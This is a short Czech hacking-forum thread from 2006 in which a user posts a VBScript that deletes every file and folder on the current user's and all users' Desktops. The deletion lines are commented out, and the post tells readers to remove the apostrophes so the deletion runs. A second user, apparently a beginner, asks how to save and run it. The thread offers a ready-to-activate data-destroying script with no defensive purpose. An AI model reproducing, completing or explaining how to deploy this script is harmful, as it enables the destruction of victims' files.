Smazaní Plochy
HackForum
| Set fso = CreateObject("scripting.filesystemobject")
Set ws = CreateObject("wscript.Shell")
Delete (ws.SpecialFolders ("Desktop"))
Delete (ws.SpecialFolders("AllUsersDesktop"))
Function Delete (Desktop)
Set soubory =fso.GetFolder(Desktop).Files
Set slozky =fso.GetFolder(Desktop).SubFolders
For Each soub In soubory
'fso.DeleteFile soub.Path,True
Next
For Each slozk In slozky
'fso.DeleteFolder slozk.Path,True
next
End Function
smaže to všechno na ploše zůstane tam KOŠ,TentoPočítač,IE
odstraňte před FSO.DeleteFile.... apostrof a akce se provedou :)
Hacker112
(odpovědět) | |
|
|
| Pls a s jakou priponou to mam ulozit?? V cem je to psany?? Sry ZACINAM (odpovědět) | Milan | 86.49.25.* | 17.12.2006 12:37 |
|
|
|